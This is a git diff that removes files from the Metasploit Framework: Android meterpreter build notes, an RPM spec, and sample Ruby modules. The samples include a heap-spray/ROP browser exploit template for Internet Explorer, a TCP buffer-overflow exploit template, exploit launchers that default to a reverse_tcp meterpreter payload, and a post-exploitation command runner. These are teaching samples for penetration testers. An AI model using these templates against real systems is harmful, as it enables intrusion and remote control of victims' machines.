||||||
... lots of compiling ...
|
|
||||||
# cp libssl.so ${COMPILED}
|
|
||||||
# cp libcrypto.so ${COMPILED}
|
|
||||||
|
|
||||||
5) Compile the common/support library code
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/workspace/common
|
|
||||||
# make
|
|
||||||
|
|
||||||
.. copy libsupport.so to source/bionic/compiled ..
|
|
||||||
|
|
||||||
6) Build the metsrv_main binary
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/workspace/metsrv
|
|
||||||
# make
|
|
||||||
|
|
||||||
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
|
|
||||||
|
|
||||||
.. copy metsrv_main to source/bionic/compiled directory
|
|
||||||
|
|
||||||
7) Build the rtld binary (last step)
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/source/server/rtld
|
|
||||||
# make test
|
|
||||||
|
|
||||||
(make test will make msflinker, which you can use to test the meterpreter)
|
|
||||||
|
|
||||||
8) Compile the ext_server_stdapi
|
|
||||||
|
|
||||||
# external/source/meterpreter/workspace/extensions/stdapi
|
|
||||||
# make
|
|
||||||
|
|
||||||
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso
|
|
||||||
|
|
|
@ -1,87 +0,0 @@
|
||||||
%define name metasploit
|
|
||||||
%define version 3.2
|
|
||||||
%define release 1
|
|
||||||
%define prefix /opt
|
|
||||||
%define __spec_install_post :
|
|
||||||
|
|
||||||
|
|
||||||
BuildArch: noarch
|
|
||||||
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
|
|
||||||
Group: Applications/System
|
|
||||||
License: BSD
|
|
||||||
Name: %{name}
|
|
||||||
Packager: Ramon de Carvalho Valle <ramon@risesecurity.org>
|
|
||||||
Release: %{release}
|
|
||||||
Requires: ruby
|
|
||||||
Source: %{name}-%{version}.tar.gz
|
|
||||||
Summary: The Metasploit Framework
|
|
||||||
URL: http://www.metasploit.com/framework/
|
|
||||||
Version: %{version}
|
|
||||||
|
|
||||||
|
|
||||||
%description
|
|
||||||
The Metasploit Framework is a development platform for creating security tools
|
|
||||||
and exploits. The framework is used by network security professionals to
|
|
||||||
perform penetration tests, system administrators to verify patch
|
|
||||||
installations, product vendors to perform regression testing, and security
|
|
||||||
researchers world-wide. The framework is written in the Ruby programming
|
|
||||||
language and includes components written in C and assembler.
|
|
||||||
|
|
||||||
|
|
||||||
%prep
|
|
||||||
%setup -q
|
|
||||||
|
|
||||||
|
|
||||||
%install
|
|
||||||
rm -rf %{buildroot}
|
|
||||||
cd ../
|
|
||||||
mkdir -p %{buildroot}%{prefix}
|
|
||||||
cp -r %{name}-%{version} %{buildroot}%{prefix}
|
|
||||||
|
|
||||||
|
|
||||||
%clean
|
|
||||||
rm -rf %{buildroot}
|
|
||||||
|
|
||||||
|
|
||||||
%post
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfcli /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfconsole /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfd /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfelfscan /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfencode /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfgui /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfmachscan /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfopcode /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfpayload /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfpescan /usr/local/bin
|
|
||||||
ln -s %{prefix}/%{name}-%{version}/msfweb /usr/local/bin
|
|
||||||
|
|
||||||
|
|
||||||
%postun
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfcli
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfconsole
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfd
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfelfscan
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfencode
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfgui
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfmachscan
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfopcode
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfpayload
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfpescan
|
|
||||||
rm -f %{prefix}/%{name}-%{version}/msfweb
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
%files
|
|
||||||
%defattr(-,root,root)
|
|
||||||
%{prefix}/%{name}-%{version}
|
|
||||||
|
|
||||||
|
|
||||||
%changelog
|
|
||||||
* Sun Nov 19 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
|
||||||
- Changed name to metasploit
|
|
||||||
- Added post and postun scripts
|
|
||||||
|
|
||||||
* Sun Nov 9 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
|
||||||
- Initial version
|
|
||||||
|
|
|
@ -1,34 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# This sample demonstrates how a module's information can be easily serialized
|
|
||||||
# to a readable format.
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
|
||||||
|
|
||||||
require 'msf/base'
|
|
||||||
|
|
||||||
if (ARGV.empty?)
|
|
||||||
puts "Usage: #{File.basename(__FILE__)} module_name"
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
|
|
||||||
modname = ARGV.shift
|
|
||||||
framework = Msf::Simple::Framework.create
|
|
||||||
|
|
||||||
begin
|
|
||||||
# Create the module instance.
|
|
||||||
mod = framework.modules.create(modname)
|
|
||||||
if not mod
|
|
||||||
puts "Error: The specified Msf::Module, \"#{modname}\", was not found."
|
|
||||||
else
|
|
||||||
# Dump the module's information in readable text format.
|
|
||||||
puts Msf::Serializer::ReadableText.dump_module(mod)
|
|
||||||
end
|
|
||||||
rescue
|
|
||||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
|
||||||
end
|
|
|
@ -1,30 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# This sample demonstrates how a file can be encoded using a framework
|
|
||||||
# encoder.
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
|
||||||
|
|
||||||
require 'msf/base'
|
|
||||||
|
|
||||||
if (ARGV.empty?)
|
|
||||||
puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format"
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
|
|
||||||
framework = Msf::Simple::Framework.create
|
|
||||||
|
|
||||||
begin
|
|
||||||
# Create the encoder instance.
|
|
||||||
mod = framework.encoders.create(ARGV.shift)
|
|
||||||
|
|
||||||
puts(Msf::Simple::Buffer.transform(
|
|
||||||
mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby'))
|
|
||||||
rescue
|
|
||||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
|
||||||
end
|
|
|
@ -1,20 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# This sample demonstrates enumerating all of the modules in the framework and
|
|
||||||
# displays their module type and reference name.
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
|
||||||
|
|
||||||
require 'msf/base'
|
|
||||||
|
|
||||||
framework = Msf::Simple::Framework.create
|
|
||||||
|
|
||||||
# Enumerate each module in the framework.
|
|
||||||
framework.modules.each_module { |name, mod|
|
|
||||||
puts "#{mod.type}: #{name}"
|
|
||||||
}
|
|
|
@ -1,52 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# This sample demonstrates using the framework core directly to launch an
|
|
||||||
# exploit. It makes use of the simplified exploit wrapper method provided by
|
|
||||||
# the Msf::Simple::Exploit mixin.
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
|
||||||
|
|
||||||
require 'msf/base'
|
|
||||||
|
|
||||||
if (ARGV.length == 0)
|
|
||||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
|
|
||||||
framework = Msf::Simple::Framework.create
|
|
||||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
|
||||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
|
||||||
input = Rex::Ui::Text::Input::Stdio.new
|
|
||||||
output = Rex::Ui::Text::Output::Stdio.new
|
|
||||||
|
|
||||||
begin
|
|
||||||
# Initialize the exploit instance
|
|
||||||
exploit = framework.exploits.create(exploit_name)
|
|
||||||
|
|
||||||
# Fire it off.
|
|
||||||
session = exploit.exploit_simple(
|
|
||||||
'Payload' => payload_name,
|
|
||||||
'OptionStr' => ARGV.join(' '),
|
|
||||||
'LocalInput' => input,
|
|
||||||
'LocalOutput' => output)
|
|
||||||
|
|
||||||
# If a session came back, try to interact with it.
|
|
||||||
if (session)
|
|
||||||
output.print_status("Session #{session.sid} created, interacting...")
|
|
||||||
output.print_line
|
|
||||||
|
|
||||||
session.init_ui(input, output)
|
|
||||||
|
|
||||||
session.interact
|
|
||||||
else
|
|
||||||
output.print_line("Exploit completed, no session was created.")
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue
|
|
||||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
|
||||||
end
|
|
|
@ -1,68 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# This sample demonstrates using the framework core directly to launch an
|
|
||||||
# exploit. It uses the framework base Framework class so that the
|
|
||||||
# distribution module path is automatically set, but relies strictly on
|
|
||||||
# framework core classes for everything else.
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
|
||||||
|
|
||||||
require 'msf/base'
|
|
||||||
|
|
||||||
if (ARGV.length == 0)
|
|
||||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
|
|
||||||
framework = Msf::Simple::Framework.create
|
|
||||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
|
||||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
|
||||||
input = Rex::Ui::Text::Input::Stdio.new
|
|
||||||
output = Rex::Ui::Text::Output::Stdio.new
|
|
||||||
|
|
||||||
begin
|
|
||||||
# Create the exploit driver instance.
|
|
||||||
driver = Msf::ExploitDriver.new(framework)
|
|
||||||
|
|
||||||
# Initialize the exploit driver's exploit and payload instance
|
|
||||||
driver.exploit = framework.exploits.create(exploit_name)
|
|
||||||
driver.payload = framework.payloads.create(payload_name)
|
|
||||||
|
|
||||||
# Import options specified in VAR=VAL format from the supplied command
|
|
||||||
# line.
|
|
||||||
driver.exploit.datastore.import_options_from_s(ARGV.join(' '))
|
|
||||||
|
|
||||||
# Share the exploit's datastore with the payload.
|
|
||||||
driver.payload.share_datastore(driver.exploit.datastore)
|
|
||||||
|
|
||||||
# Initialize the target index to what's in the exploit's data store or
|
|
||||||
# zero by default.
|
|
||||||
driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i
|
|
||||||
|
|
||||||
# Initialize the exploit and payload user interfaces.
|
|
||||||
driver.exploit.init_ui(input, output)
|
|
||||||
driver.payload.init_ui(input, output)
|
|
||||||
|
|
||||||
# Fire it off.
|
|
||||||
session = driver.run
|
|
||||||
|
|
||||||
# If a session came back, try to interact with it.
|
|
||||||
if (session)
|
|
||||||
output.print_status("Session #{session.sid} created, interacting...")
|
|
||||||
output.print_line
|
|
||||||
|
|
||||||
session.init_ui(input, output)
|
|
||||||
|
|
||||||
session.interact
|
|
||||||
else
|
|
||||||
output.print_line("Exploit completed, no session was created.")
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue
|
|
||||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
|
||||||
end
|
|
|
@ -1,45 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This sample auxiliary module simply displays the selected action and
|
|
||||||
# registers a custom command that will show up when the module is used.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
|
||||||
|
|
||||||
def initialize(info={})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Sample Auxiliary Module',
|
|
||||||
'Description' => 'Sample Auxiliary Module',
|
|
||||||
'Author' => ['hdm'],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Actions' =>
|
|
||||||
[
|
|
||||||
['Default Action'],
|
|
||||||
['Another Action']
|
|
||||||
]
|
|
||||||
))
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
print_status("Running the simple auxiliary module with action #{action.name}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def auxiliary_commands
|
|
||||||
return { "aux_extra_command" => "Run this auxiliary test commmand" }
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_aux_extra_command(*args)
|
|
||||||
print_status("Running inside aux_extra_command()")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,35 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This sample illustrates a very basic encoder that simply returns the block
|
|
||||||
# that it's passed.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Encoder
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'Sample Encoder',
|
|
||||||
'Description' => %q{
|
|
||||||
Sample encoder that just returns the block it's passed
|
|
||||||
when encoding occurs.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => 'skape',
|
|
||||||
'Arch' => ARCH_ALL)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the unmodified buffer to the caller.
|
|
||||||
#
|
|
||||||
def encode_block(state, buf)
|
|
||||||
buf
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,149 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This exploit sample demonstrates how a typical browser exploit is written using commonly
|
|
||||||
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Exploit::Remote
|
|
||||||
Rank = NormalRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
|
||||||
include Msf::Exploit::RopDb
|
|
||||||
include Msf::Exploit::Remote::BrowserAutopwn
|
|
||||||
|
|
||||||
# Set :classid and :method for ActiveX exploits. For example:
|
|
||||||
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
|
|
||||||
# :method => "SetShapeNodeType",
|
|
||||||
autopwn_info({
|
|
||||||
:ua_name => HttpClients::IE,
|
|
||||||
:ua_minver => "8.0",
|
|
||||||
:ua_maxver => "10.0",
|
|
||||||
:javascript => true,
|
|
||||||
:os_name => OperatingSystems::Match::WINDOWS,
|
|
||||||
:rank => NormalRanking
|
|
||||||
})
|
|
||||||
|
|
||||||
def initialize(info={})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => "Module Name",
|
|
||||||
'Description' => %q{
|
|
||||||
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
|
|
||||||
the browser version. Please note IE8 and newer may emulate an older IE version
|
|
||||||
in compatibility mode, in that case the module won't be able to detect the
|
|
||||||
browser correctly.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [ 'sinn3r' ],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://metasploit.com' ]
|
|
||||||
],
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Automatic', {} ],
|
|
||||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
|
|
||||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
|
|
||||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
|
|
||||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
|
|
||||||
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
|
|
||||||
],
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'BadChars' => "\x00", # js_property_spray
|
|
||||||
'StackAdjustment' => -3500
|
|
||||||
},
|
|
||||||
'Privileged' => false,
|
|
||||||
'DisclosureDate' => "Apr 1 2013",
|
|
||||||
'DefaultTarget' => 0))
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_target(agent)
|
|
||||||
return target if target.name != 'Automatic'
|
|
||||||
|
|
||||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
||||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
||||||
|
|
||||||
ie_name = "IE #{ie}"
|
|
||||||
|
|
||||||
case nt
|
|
||||||
when '5.1'
|
|
||||||
os_name = 'Windows XP SP3'
|
|
||||||
when '6.0'
|
|
||||||
os_name = 'Windows Vista'
|
|
||||||
when '6.1'
|
|
||||||
os_name = 'Windows 7'
|
|
||||||
when '6.2'
|
|
||||||
os_name = 'Windows 8'
|
|
||||||
when '6.3'
|
|
||||||
os_name = 'Windows 8.1'
|
|
||||||
end
|
|
||||||
|
|
||||||
targets.each do |t|
|
|
||||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
||||||
return t
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_payload(t)
|
|
||||||
stack_pivot = "\x41\x42\x43\x44"
|
|
||||||
code = payload.encoded
|
|
||||||
|
|
||||||
case t['Rop']
|
|
||||||
when :msvcrt
|
|
||||||
print_status("Using msvcrt ROP")
|
|
||||||
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
|
||||||
|
|
||||||
else
|
|
||||||
print_status("Using JRE ROP")
|
|
||||||
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
|
||||||
end
|
|
||||||
|
|
||||||
rop_payload
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def get_html(t)
|
|
||||||
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
|
||||||
html = %Q|
|
|
||||||
<script>
|
|
||||||
#{js_property_spray}
|
|
||||||
|
|
||||||
var s = unescape("#{js_p}");
|
|
||||||
sprayHeap({shellcode:s});
|
|
||||||
</script>
|
|
||||||
|
|
|
||||||
|
|
||||||
html.gsub(/^\t\t/, '')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
|
||||||
agent = request.headers['User-Agent']
|
|
||||||
print_status("Requesting: #{request.uri}")
|
|
||||||
|
|
||||||
target = get_target(agent)
|
|
||||||
if target.nil?
|
|
||||||
print_error("Browser not supported, sending 404: #{agent}")
|
|
||||||
send_not_found(cli)
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Target selected as: #{target.name}")
|
|
||||||
html = get_html(target)
|
|
||||||
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,85 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This exploit sample shows how an exploit module could be written to exploit
|
|
||||||
# a bug in an arbitrary TCP server.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Exploit::Remote
|
|
||||||
|
|
||||||
#
|
|
||||||
# This exploit affects TCP servers, so we use the TCP client mixin.
|
|
||||||
#
|
|
||||||
include Exploit::Remote::Tcp
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Sample Exploit',
|
|
||||||
'Description' => %q{
|
|
||||||
This exploit module illustrates how a vulnerability could be exploited
|
|
||||||
in an TCP server that has a parsing bug.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => ['skape'],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
],
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 1000,
|
|
||||||
'BadChars' => "\x00",
|
|
||||||
},
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
# Target 0: Windows All
|
|
||||||
[
|
|
||||||
'Windows XP/Vista/7/8',
|
|
||||||
{
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Ret' => 0x41424344
|
|
||||||
}
|
|
||||||
],
|
|
||||||
],
|
|
||||||
'DisclosureDate' => "Apr 1 2013",
|
|
||||||
'DefaultTarget' => 0))
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# The sample exploit just indicates that the remote host is always
|
|
||||||
# vulnerable.
|
|
||||||
#
|
|
||||||
def check
|
|
||||||
Exploit::CheckCode::Vulnerable
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# The exploit method connects to the remote service and sends 1024 random bytes
|
|
||||||
# followed by the fake return address and then the payload.
|
|
||||||
#
|
|
||||||
def exploit
|
|
||||||
connect
|
|
||||||
|
|
||||||
print_status("Sending #{payload.encoded.length} byte payload...")
|
|
||||||
|
|
||||||
# Build the buffer for transmission
|
|
||||||
buf = rand_text_alpha(1024)
|
|
||||||
buf << [ target.ret ].pack('V')
|
|
||||||
buf << payload.encoded
|
|
||||||
|
|
||||||
# Send it off
|
|
||||||
sock.put(buf)
|
|
||||||
sock.get_once
|
|
||||||
|
|
||||||
handler
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,34 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This class implements a very basic NOP sled generator that just returns a
|
|
||||||
# string of 0x90's.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Nop
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'Sample NOP Generator',
|
|
||||||
'Description' => 'Sample single-byte NOP generator',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => 'skape',
|
|
||||||
'Arch' => ARCH_X86)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Returns a string of 0x90's for the supplied length.
|
|
||||||
#
|
|
||||||
def generate_sled(length, opts)
|
|
||||||
"\x90" * length
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,34 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This sample payload is designed to trigger a debugger exception via int3.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
module Metasploit4
|
|
||||||
|
|
||||||
include Msf::Payload::Single
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Debugger Trap',
|
|
||||||
'Description' => 'Causes a debugger trap exception through int3',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => 'skape',
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Arch' => ARCH_X86,
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Payload' => "\xcc"
|
|
||||||
}
|
|
||||||
))
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,40 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'msf/core/post/common'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This post module sample shows how we can execute a command on the compromised machine
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Metasploit4 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::Common
|
|
||||||
|
|
||||||
def initialize(info={})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Sample Post Module',
|
|
||||||
'Description' => %q{Sample Post Module},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [ 'sinn3r'],
|
|
||||||
'Platform' => [ 'win'],
|
|
||||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
|
||||||
))
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# This post module runs a ipconfig command and returns the output
|
|
||||||
#
|
|
||||||
def run
|
|
||||||
print_status("Executing ipconfig on remote machine")
|
|
||||||
o = cmd_exec("ipconfig")
|
|
||||||
print_line(o)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,207 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
require 'rubygems'
|
|
||||||
require 'optparse'
|
|
||||||
require 'msfrpc-client'
|
|
||||||
require 'rex/ui'
|
|
||||||
|
|
||||||
def usage(ropts)
|
|
||||||
$stderr.puts ropts
|
|
||||||
|
|
||||||
if @rpc and @rpc.token
|
|
||||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
|
||||||
if wspaces.keys.length > 0
|
|
||||||
$stderr.puts "Active Projects:"
|
|
||||||
wspaces.each_pair do |k,v|
|
|
||||||
$stderr.puts "\t#{k}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
$stderr.puts ""
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
opts = {}
|
|
||||||
|
|
||||||
# Parse script-specific options
|
|
||||||
parser = Msf::RPC::Client.option_parser(opts)
|
|
||||||
parser.separator('Discover Mandatory Options:')
|
|
||||||
|
|
||||||
parser.on("--project PROJECT") do |x|
|
|
||||||
opts[:project] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--targets TARGETS") do |x|
|
|
||||||
opts[:targets] = [x]
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
|
||||||
opts[:blacklist] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--speed SPEED (optional)") do |x|
|
|
||||||
opts[:speed] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--extra-ports PORTS (optional)") do |x|
|
|
||||||
opts[:extra_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
|
||||||
opts[:blacklist_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--custom-ports PORTS (optional)") do |x|
|
|
||||||
opts[:custom_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--portscan-timeout TIMEOUT (optional)") do |x|
|
|
||||||
